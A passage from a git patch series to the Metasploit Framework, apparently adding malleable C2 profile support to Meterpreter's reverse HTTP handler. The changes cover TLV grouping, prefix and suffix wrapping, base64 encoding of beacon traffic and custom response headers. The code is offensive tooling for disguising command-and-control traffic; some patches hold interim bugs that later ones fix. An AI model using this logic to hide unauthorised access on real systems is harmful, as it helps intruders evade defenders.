opts[:retry_wait]) + url = "#{opts[:scheme]}://#{lhost}" url << ":#{opts[:lport]}" if opts[:lport] url << "#{opts[:uri]}/" if opts[:uri] From bbdf45a9482c94ecfe8eeff744c125e8232d41a4 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 10:59:28 +1000 Subject: [PATCH 14/21] Fix transport comment TLV generation/handling --- lib/rex/post/meterpreter/client_core.rb | 34 ++++++++++++++----------- 1 file changed, 19 insertions(+), 15 deletions(-) diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index 1b53b3ce0785c..991270f8e2443 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -862,7 +862,7 @@ def generate_migrate_stub(target_process) # Helper function to prepare a transport request that will be sent to the # attached session. # - def transport_prepare_request(method, opts={}) + def transport_prepare_request(command_id, opts={}) unless valid_transport?(opts[:transport]) && opts[:lport] return nil end @@ -876,7 +876,11 @@ def transport_prepare_request(method, opts={}) transport = opts[:transport].downcase - request = Packet.create_request(method) + request = Packet.create_request(command_id) + + if opts[:session_exp] + request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) + end scheme = transport.split('_')[1] url = "#{scheme}://#{opts[:lhost]}:#{opts[:lport]}" @@ -891,20 +895,18 @@ def transport_prepare_request(method, opts={}) end end - if opts[:comm_timeout] - request.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) - end + c2_tlv = GroupTlv.new(TLV_TYPE_C2) - if opts[:session_exp] - request.add_tlv(TLV_TYPE_SESSION_EXPIRY, opts[:session_exp]) + if opts[:comm_timeout] + c2_tlv.add_tlv(TLV_TYPE_C2_COMM_TIMEOUT, opts[:comm_timeout]) end if opts[:retry_total] - request.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_TOTAL, opts[:retry_total]) end if opts[:retry_wait] - request.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) + c2_tlv.add_tlv(TLV_TYPE_C2_RETRY_WAIT, opts[:retry_wait]) end # do more magic work for http(s) payloads @@ -919,30 +921,32 @@ def transport_prepare_request(method, opts={}) end opts[:ua] ||= Rex::UserAgent.random - request.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) + c2_tlv.add_tlv(TLV_TYPE_C2_UA, opts[:ua]) if transport == 'reverse_https' && opts[:cert] # currently only https transport offers ssl hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert]) - request.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) + c2_tlv.add_tlv(TLV_TYPE_C2_CERT_HASH, hash) end if opts[:proxy_host] && opts[:proxy_port] prefix = 'http://' prefix = 'socks=' if opts[:proxy_type].to_s.downcase == 'socks' proxy = "#{prefix}#{opts[:proxy_host]}:#{opts[:proxy_port]}" - request.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_HOST, proxy) if opts[:proxy_user] - request.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_USER, opts[:proxy_user]) end if opts[:proxy_pass] - request.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) + c2_tlv.add_tlv(TLV_TYPE_C2_PROXY_PASS, opts[:proxy_pass]) end end end - request.add_tlv(TLV_TYPE_C2_URL, url) + c2_tlv.add_tlv(TLV_TYPE_C2_URL, url) + + request.tlvs << c2_tlv request end From 6496e7f0127aa35ff032c2dc4295008ca0f63ab2 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 10:59:42 +1000 Subject: [PATCH 15/21] Re-add the overridden body property in the HTTP packet I hate this craziness, but I have no idea what I'll break if I don't leave this in. --- lib/rex/proto/http/packet.rb | 26 +++++++++++++++++++++----- lib/rex/proto/http/request.rb | 12 ++++++++++++ 2 files changed, 33 insertions(+), 5 deletions(-) diff --git a/lib/rex/proto/http/packet.rb b/lib/rex/proto/http/packet.rb index 298d8dde86f91..29d8837fc9129 100644 --- a/lib/rex/proto/http/packet.rb +++ b/lib/rex/proto/http/packet.rb @@ -67,6 +67,23 @@ def []=(key, value) self.headers[key] = value end + # + # The `body` attribute was overridden by subclasses, causing quirky behaviour issues, + # such as when a POST request contained query string parameters resulting in the query + # string being prepended to the data that was contained in the body. To avoid this + # utterly ridiculous behaviour while maintaning the status-quo of having the request + # class shoe-horn query strings into POST bodies, we're using `body_bytes` as an internal + # buffer to collect the request's body, rather than using the attribute, which prevents + # this insanity from happening. + # + def body=(val) + @body_bytes = val + end + + def body + @body_bytes + end + # # Parses the supplied buffer. Returns one of the two parser processing # codes (Completed, Partial, or Error). @@ -116,7 +133,7 @@ def reset self.inside_chunk = false self.headers.reset self.bufq = '' - self.body = '' + @body_bytes = '' end # @@ -127,7 +144,7 @@ def reset_except_queue self.transfer_chunked = false self.inside_chunk = false self.headers.reset - self.body = '' + @body_bytes = '' end # @@ -254,7 +271,6 @@ def cmd_string attr_accessor :error attr_accessor :state attr_accessor :bufq - attr_accessor :body attr_accessor :auto_cl attr_accessor :max_data attr_accessor :transfer_chunked @@ -409,11 +425,11 @@ def parse_body # to our body state. if (self.body_bytes_left > 0) part = self.bufq.slice!(0, self.body_bytes_left) - self.body += part + @body_bytes += part self.body_bytes_left -= part.length # Otherwise, just read it all. else - self.body += self.bufq + @body_bytes += self.bufq self.bufq = '' end diff --git a/lib/rex/proto/http/request.rb b/lib/rex/proto/http/request.rb index e586e6ff1568c..bf21fdf42d656 100644 --- a/lib/rex/proto/http/request.rb +++ b/lib/rex/proto/http/request.rb @@ -217,6 +217,18 @@ def to_s str + super end + # + # Returns a hijacked version of the body that shoves the request's query string in as a + # replacement in cases where there is no body. YOLO! ¯\_(ツ)_/¯ + # + def body + str = super || '' + if str.length == 0 && PostRequests.include?(self.method) + str = param_tring + end + str + end + # # Returns the command string derived from the three values. # From f82fe8ee0d6ed3a66f2368eda361f7a9b363f039 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Mon, 28 Jul 2025 14:25:06 +1000 Subject: [PATCH 16/21] Prepends should not be reversed --- lib/msf/core/payload/malleable_c2.rb | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index d3fba60fd45a5..71bd93e88b6b7 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -174,7 +174,7 @@ def uris def wrap_outbound_get(raw_bytes) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') appends = self.http_get&.server&.output&.append || [] suffix = appends.map {|p| p.args[0]}.join('') prefix + raw_bytes + suffix @@ -182,7 +182,7 @@ def wrap_outbound_get(raw_bytes) def unwrap_inbound_post(raw_bytes) prepends = self.http_post&.client&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') unless prefix.empty? || (raw_bytes[0, prefix.length] <=> prefix) != 0 raw_bytes = raw_bytes[prefix.length, raw_bytes.length] end @@ -208,7 +208,7 @@ def to_tlv self.add_http_tlv(get_uri, client, get_tlv) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') get_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 client.get_section('metadata') {|meta| @@ -233,7 +233,7 @@ def to_tlv self.add_http_tlv(post_uri, client, post_tlv) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.reverse.map {|p| p.args[0]}.join('') + prefix = prepends.map {|p| p.args[0]}.join('') post_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 client.get_section('output') {|client_output| @@ -243,7 +243,7 @@ def to_tlv post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.reverse.join("") + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? From 1abbb7071f43aee5e716d0019d7de72d64ee8fd0 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 29 Jul 2025 12:32:18 +1000 Subject: [PATCH 17/21] Fixes as per discussion --- lib/msf/core/handler/reverse_http.rb | 26 +++++-------- lib/msf/core/payload/malleable_c2.rb | 37 +++++++++++-------- .../windows/x64/meterpreter_reverse_http.rb | 2 +- 3 files changed, 32 insertions(+), 33 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index b8b49bb85ec1e..82d014c74e9bb 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -180,28 +180,22 @@ def scheme end def construct_luri(base_uri) + return nil unless base_uri - if base_uri && base_uri.length > 0 - # strip trailing slashes - while base_uri[-1, 1] == '/' - base_uri = base_uri[0...-1] - end - - # make sure the luri has the prefix - if base_uri[0, 1] != '/' - base_uri = "/#{base_uri}" - end + u = base_uri.dup + while u[-1] == '/' + u.chop! end - base_uri.dup + u end # The local URI for the handler. # # @return [String] Representation of the URI to listen on. def luri - construct_luri(datastore['LURI'] || "") + construct_luri(datastore['LURI'] || '') end def all_uris @@ -286,17 +280,17 @@ def setup_handler def find_resource_id(cli, request) if request.method == 'POST' directive = self.c2_profile&.http_post&.client&.id&.parameter - cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + cid = request.qstring[directive[0].args[0]] if directive&.length > 0 unless cid directive = self.c2_profile&.http_post&.client&.id&.header - cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + cid = request.headers[directive[0].args[0]] if directive&.length > 0 end else directive = self.c2_profile&.http_get&.client&.metadata&.parameter - cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 + cid = request.qstring[directive[0].args[0]] if directive&.length > 0 unless cid directive = self.c2_profile&.http_get&.client&.metadata&.header - cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 + cid = request.headers[directive[0].args[0]] if directive&.length > 0 end end diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 71bd93e88b6b7..396937e44bf0c 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -3,20 +3,26 @@ ## # This module contains helper functions for parsing and loading malleable # C2 profiles into ruby objects. +# +# See https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_main.htm ## require 'strscan' require 'rex/post/meterpreter/packet' -# Handle escape sequences in the strings provided by the c2 profile -class String - def from_c2_string_value +module Msf::Payload::MalleableC2 + + MET = Rex::Post::Meterpreter + MC2 = Msf::Payload::MalleableC2 + + # Handle escape sequences in the strings provided by the c2 profile + def self.from_c2_string_value(s) # Support substitution of a subset of escape characters: # \r, \t, \n, \\, \x.. # Not supporting \u at this point. # We do in a single regex and parse each as we go, as this avoids the # potential for double-encoding. - self.gsub(/\\(x(..)|r|n|t|\\)/) {|b| + s.gsub(/\\(x(..)|r|n|t|\\)/) {|b| case b[1] when 'x' [b[2, 4].to_i(16)].pack('C') @@ -31,11 +37,6 @@ def from_c2_string_value end } end -end - -module Msf::Payload::MalleableC2 - - MET = Rex::Post::Meterpreter class Token attr_reader :type, :value @@ -95,13 +96,15 @@ class Lexer def initialize(file) @tokens = [] - tokenize(File.read(file)) + tokenize(File.binread(file)) end def is_block_keyword?(word) BLOCK_KEYWORDS.include?(word) end + private + def tokenize(text) scanner = StringScanner.new(text) @@ -113,7 +116,6 @@ def tokenize(text) # comment next elsif scanner.scan(/\"(\\.|[^"])*\"/) - #@tokens << Token.new(:string, scanner.matched[1..-2]) @tokens << Token.new(:string, scanner.matched[1..-2]) elsif scanner.scan(/[a-zA-Z0-9_\-\.\/]+/) word = scanner.matched @@ -122,7 +124,10 @@ def tokenize(text) elsif scanner.scan(/[{};]/) @tokens << Token.new(:symbol, scanner.matched) else - raise "Unexpected token near: #{scanner.peek(20)}" + preceding_lines = scanner.string[0..scanner.pos].split("\n") + row = preceding_lines.length + col = preceding_lines.last&.size || 1 + raise "Unexpected token near #{row}:#{col}: #{scanner.peek(20).split("\n").first}" end end end @@ -243,7 +248,7 @@ def to_tlv post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 - prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.("") + prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? append_data = client_output.get_directive('append').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX, append_data) unless append_data.empty? @@ -292,7 +297,7 @@ class ParsedSet attr_accessor :key, :value def initialize(key, value) @key = key.downcase - @value = value.from_c2_string_value + @value = MC2.from_c2_string_value(value) end end @@ -340,7 +345,7 @@ class ParsedDirective attr_accessor :type, :args def initialize(type, args) @type = type.downcase - @args = args.map {|a| a.from_c2_string_value} + @args = args.map {|a| MC2.from_c2_string_value(a)} end end @@ -362,7 +367,7 @@ def parse(file) elsif current_token.type == :keyword && @lexer.is_block_keyword?(current_token.value) profile.sections << parse_section else - raise "Unexpected token at tope level: #{current_token.type}=#{current_token.value}" + raise "Unexpected token at top level: #{current_token.type}=#{current_token.value}" end end diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb index fb12df8e7c831..be17f8bde50bd 100644 --- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb +++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb @@ -28,7 +28,7 @@ def initialize(info = {}) ) register_options([ - OptString.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), + OptPath.new('MALLEABLEC2', [false, 'Path to a file containing the malleable C2 profile']), OptString.new('EXTENSIONS', [false, 'Comma-separate list of extensions to load']), OptString.new('EXTINIT', [false, 'Initialization strings for extensions']) ]) From f93d308b6cf4905b2db4ed3360cbc0b0d0fe6043 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Tue, 29 Jul 2025 13:28:20 +1000 Subject: [PATCH 18/21] Add C2 custom header support in responses --- lib/msf/core/handler/reverse_http.rb | 10 ++++++++++ lib/rex/proto/http/server.rb | 4 +++- lib/rex/proto/http/server_client.rb | 2 +- 3 files changed, 14 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 82d014c74e9bb..6831cee1ed0e9 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -297,6 +297,16 @@ def find_resource_id(cli, request) request.conn_id = cid || request.resource.split('?')[0].split('/').compact.last end + def add_response_headers(req, resp) + if req.method == 'GET' + headers = self.c2_profile&.http_get&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + elsif req.method == 'POST' + headers = self.c2_profile&.http_post&.server&.header || [] + headers.each {|h| resp[h.args[0]] = h.args[1]} + end + end + # # Removes the / handler, possibly stopping the service if no sessions are # active on sub-urls. diff --git a/lib/rex/proto/http/server.rb b/lib/rex/proto/http/server.rb index 27a56aef540dd..551738884e0cd 100644 --- a/lib/rex/proto/http/server.rb +++ b/lib/rex/proto/http/server.rb @@ -182,8 +182,10 @@ def remove_resource(name) # # Adds Server headers and stuff. # - def add_response_headers(resp) + def add_response_headers(req, resp) resp['Server'] = self.server_name if not resp['Server'] + expl = self.context['MsfExploit'] + expl.add_response_headers(req, resp) if expl&.respond_to?(:add_response_headers) end # diff --git a/lib/rex/proto/http/server_client.rb b/lib/rex/proto/http/server_client.rb index 69572a71fc34b..344491795fe6a 100644 --- a/lib/rex/proto/http/server_client.rb +++ b/lib/rex/proto/http/server_client.rb @@ -38,7 +38,7 @@ def send_response(response) response['Connection'] = (keepalive) ? 'Keep-Alive' : 'close' # Add any other standard response headers. - server.add_response_headers(response) + server.add_response_headers(self.request, response) # Send it off. put(response.to_s) From ba5e097b6fe67457bccd78bf0d7f0db82edcefa4 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 30 Jul 2025 13:04:22 +1000 Subject: [PATCH 19/21] Revert previous change to cid extraction --- lib/msf/core/handler/reverse_http.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/handler/reverse_http.rb b/lib/msf/core/handler/reverse_http.rb index 6831cee1ed0e9..ad3031af4d0d4 100644 --- a/lib/msf/core/handler/reverse_http.rb +++ b/lib/msf/core/handler/reverse_http.rb @@ -280,17 +280,17 @@ def setup_handler def find_resource_id(cli, request) if request.method == 'POST' directive = self.c2_profile&.http_post&.client&.id&.parameter - cid = request.qstring[directive[0].args[0]] if directive&.length > 0 + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 unless cid directive = self.c2_profile&.http_post&.client&.id&.header - cid = request.headers[directive[0].args[0]] if directive&.length > 0 + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 end else directive = self.c2_profile&.http_get&.client&.metadata&.parameter - cid = request.qstring[directive[0].args[0]] if directive&.length > 0 + cid = request.qstring[directive[0].args[0]] if directive && directive.length > 0 unless cid directive = self.c2_profile&.http_get&.client&.metadata&.header - cid = request.headers[directive[0].args[0]] if directive&.length > 0 + cid = request.headers[directive[0].args[0]] if directive && directive.length > 0 end end From 2c4eaff583a65ec9ad2f394bb87ca69cb1904d98 Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 30 Jul 2025 15:02:08 +1000 Subject: [PATCH 20/21] Support encoding/decoding of data from C2 profile --- lib/msf/core/payload/malleable_c2.rb | 58 +++++++++++++++++++++------- lib/rex/post/meterpreter/client.rb | 12 +++--- lib/rex/post/meterpreter/packet.rb | 18 +++++---- 3 files changed, 59 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index 396937e44bf0c..f4b1f2f64796b 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -182,7 +182,19 @@ def wrap_outbound_get(raw_bytes) prefix = prepends.map {|p| p.args[0]}.join('') appends = self.http_get&.server&.output&.append || [] suffix = appends.map {|p| p.args[0]}.join('') - prefix + raw_bytes + suffix + + # do any encoding necessary + if raw_bytes.length > 0 + if self.http_get&.server&.output&.has_directive('base64') + raw_bytes = Rex::Text.encode_base64(raw_bytes) + elsif self.http_get&.server&.output&.has_directive('base64url') + raw_bytes = Rex::Text.encode_base64url(raw_bytes) + end + end + + result = prefix + raw_bytes + suffix + + result end def unwrap_inbound_post(raw_bytes) @@ -197,6 +209,15 @@ def unwrap_inbound_post(raw_bytes) unless suffix.empty? || (raw_bytes[-suffix.length, raw_bytes.length] <=> suffix) != 0 raw_bytes = raw_bytes[0, raw_bytes.length - suffix.length] end + + # do any decoding necessary + if raw_bytes.length > 0 + if self.http_post&.client&.output&.has_directive('base64') + raw_bytes = Rex::Text.decode_base64(raw_bytes) + elsif self.http_post&.client&.output&.has_directive('base64url') + raw_bytes = Rex::Text.decode_base64url(raw_bytes) + end + end raw_bytes end @@ -213,15 +234,19 @@ def to_tlv self.add_http_tlv(get_uri, client, get_tlv) prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.map {|p| p.args[0]}.join('') - get_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + prefix_len = prepends.map {|p| p.args[0].length}.sum + get_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = self.http_get&.server&.output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + get_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 client.get_section('metadata') {|meta| - enc_flags = 0 - enc_flags |= MET::C2_ENCODING_FLAG_B64 if meta.has_directive('base64') - enc_flags |= MET::C2_ENCODING_FLAG_B64URL if meta.has_directive('base64url') + enc_flags = MET::C2_ENCODING_NONE + enc_flags = MET::C2_ENCODING_B64URL if meta.has_directive('base64url') + enc_flags = MET::C2_ENCODING_B64 if meta.has_directive('base64') - get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + get_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, meta.get_directive('parameter')[0].args[0]) if meta.has_directive('parameter') get_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, meta.get_directive('header')[0].args[0]) if meta.has_directive('header') # assume uri-append for POST otherwise. @@ -237,16 +262,20 @@ def to_tlv http_post.get_section('client') {|client| self.add_http_tlv(post_uri, client, post_tlv) - prepends = self.http_get&.server&.output&.prepend || [] - prefix = prepends.map {|p| p.args[0]}.join('') - post_tlv.add_tlv(MET::TLV_TYPE_C2_SKIP_COUNT, prefix.length) unless prefix.length == 0 + prepends = self.http_post&.server&.output&.prepend || [] + prefix_len = prepends.map {|p| p.args[0].length}.sum + post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX_SKIP, prefix_len) unless prefix_len == 0 + + appends = self.http_post&.server&.output&.append || [] + suffix_len = appends.map {|s| s.args[0].length}.sum + post_tlv.add_tlv(MET::TLV_TYPE_C2_SUFFIX_SKIP, suffix_len) unless suffix_len == 0 client.get_section('output') {|client_output| - enc_flags = 0 - enc_flags |= MET::C2_ENCODING_FLAG_B64 if client_output.has_directive('base64') - enc_flags |= MET::C2_ENCODING_FLAG_B64URL if client_output.has_directive('base64url') + enc_flags = MET::C2_ENCODING_NONE + enc_flags = MET::C2_ENCODING_B64URL if client_output.has_directive('base64url') + enc_flags = MET::C2_ENCODING_B64 if client_output.has_directive('base64') - post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != 0 + post_tlv.add_tlv(MET::TLV_TYPE_C2_ENC, enc_flags) if enc_flags != MET::C2_ENCODING_NONE prepend_data = client_output.get_directive('prepend').map{|d|d.args[0]}.join("") post_tlv.add_tlv(MET::TLV_TYPE_C2_PREFIX, prepend_data) unless prepend_data.empty? @@ -258,7 +287,6 @@ def to_tlv post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_GET, client_id.get_directive('parameter')[0].args[0]) if client_id.has_directive('parameter') post_tlv.add_tlv(MET::TLV_TYPE_C2_UUID_HEADER, client_id.get_directive('header')[0].args[0]) if client_id.has_directive('header') # assume uri-append for POST otherwise given that we always put the TLV payload in the body? - # TODO: add support for adding a form rather than just a payload body? } } diff --git a/lib/rex/post/meterpreter/client.rb b/lib/rex/post/meterpreter/client.rb index edbf8886f94e7..17b71b7e950d8 100644 --- a/lib/rex/post/meterpreter/client.rb +++ b/lib/rex/post/meterpreter/client.rb @@ -117,20 +117,20 @@ def cleanup_meterpreter # # Wrap the given packet data with any prefixes and suffixes that are stored in - # the associated C2 profile server configuration (if it exists) + # the associated C2 profile server configuration (if it exists) and handle + # encoding of data # def wrap_packet(raw_bytes) - raw_bytes = self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile - raw_bytes + self.c2_profile.wrap_outbound_get(raw_bytes) if self.c2_profile end # # Unwrap the given packet data from any prefixes and suffixes that are stored in - # the associated C2 profile client configuration (if it exists) + # the associated C2 profile client configuration (if it exists) and handle + # decoding of data # def unwrap_packet(raw_bytes) - raw_bytes = self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile - raw_bytes + self.c2_profile.unwrap_inbound_post(raw_bytes) if self.c2_profile end # diff --git a/lib/rex/post/meterpreter/packet.rb b/lib/rex/post/meterpreter/packet.rb index e182678073618..42cc91195ef63 100644 --- a/lib/rex/post/meterpreter/packet.rb +++ b/lib/rex/post/meterpreter/packet.rb @@ -132,18 +132,20 @@ module Meterpreter TLV_TYPE_C2_PREFIX = TLV_META_TYPE_RAW | 718 # Data to prepend to the outgoing payload TLV_TYPE_C2_SUFFIX = TLV_META_TYPE_RAW | 719 # Data to append to the outgoing payload TLV_TYPE_C2_ENC = TLV_META_TYPE_UINT | 720 # Request encoding flags (Base64|URL|Base64url) -TLV_TYPE_C2_SKIP_COUNT = TLV_META_TYPE_UINT | 721 # Number of bytes of the incoming payload to ignore before parsing -TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 722 # Name of the cookie to put the UUID in -TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 723 # Name of the GET parameter to put the UUID in -TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 724 # Name of the header to put the UUID in -TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 725 # string representation of the UUID for C2s +TLV_TYPE_C2_PREFIX_SKIP = TLV_META_TYPE_UINT | 721 # Size of prefix to skip (in bytes) +TLV_TYPE_C2_SUFFIX_SKIP = TLV_META_TYPE_UINT | 722 # Size of suffix to skip (in bytes) +TLV_TYPE_C2_UUID_COOKIE = TLV_META_TYPE_STRING | 723 # Name of the cookie to put the UUID in +TLV_TYPE_C2_UUID_GET = TLV_META_TYPE_STRING | 724 # Name of the GET parameter to put the UUID in +TLV_TYPE_C2_UUID_HEADER = TLV_META_TYPE_STRING | 725 # Name of the header to put the UUID in +TLV_TYPE_C2_UUID = TLV_META_TYPE_STRING | 726 # string representation of the UUID for C2s # # C2 Encoding flags # -C2_ENCODING_FLAG_B64 = (1 << 0) # straight Base64 encoding -C2_ENCODING_FLAG_B64URL = (1 << 1) # encoding Base64 with URL-safe values -C2_ENCODING_FLAG_URL = (1 << 2) # straight URL encoding +C2_ENCODING_NONE = 0 # No encoding at all +C2_ENCODING_B64 = 1 # Base64 encoding +C2_ENCODING_B64URL = 2 # Base64 encoding with URI-safe characters +C2_ENCODING_URL = 3 # URL encoding # # Core flags From 8c4f7fa7ad70969d28793a5a8ba71a932280a09f Mon Sep 17 00:00:00 2001 From: OJ Reeves Date: Wed, 30 Jul 2025 18:11:17 +1000 Subject: [PATCH 21/21] Support escaped double-quote --- lib/msf/core/payload/malleable_c2.rb | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/lib/msf/core/payload/malleable_c2.rb b/lib/msf/core/payload/malleable_c2.rb index f4b1f2f64796b..b82eef1f78293 100644 --- a/lib/msf/core/payload/malleable_c2.rb +++ b/lib/msf/core/payload/malleable_c2.rb @@ -18,11 +18,11 @@ module Msf::Payload::MalleableC2 # Handle escape sequences in the strings provided by the c2 profile def self.from_c2_string_value(s) # Support substitution of a subset of escape characters: - # \r, \t, \n, \\, \x.. + # \r, \t, \n, \\, \x.., \" # Not supporting \u at this point. # We do in a single regex and parse each as we go, as this avoids the # potential for double-encoding. - s.gsub(/\\(x(..)|r|n|t|\\)/) {|b| + s.gsub(/\\(x(..)|r|n|t|"|\\)/) {|b| case b[1] when 'x' [b[2, 4].to_i(16)].pack('C') @@ -32,6 +32,8 @@ def self.from_c2_string_value(s) "\t" when 'n' "\n" + when '"' + '"' when '\\' "\\" end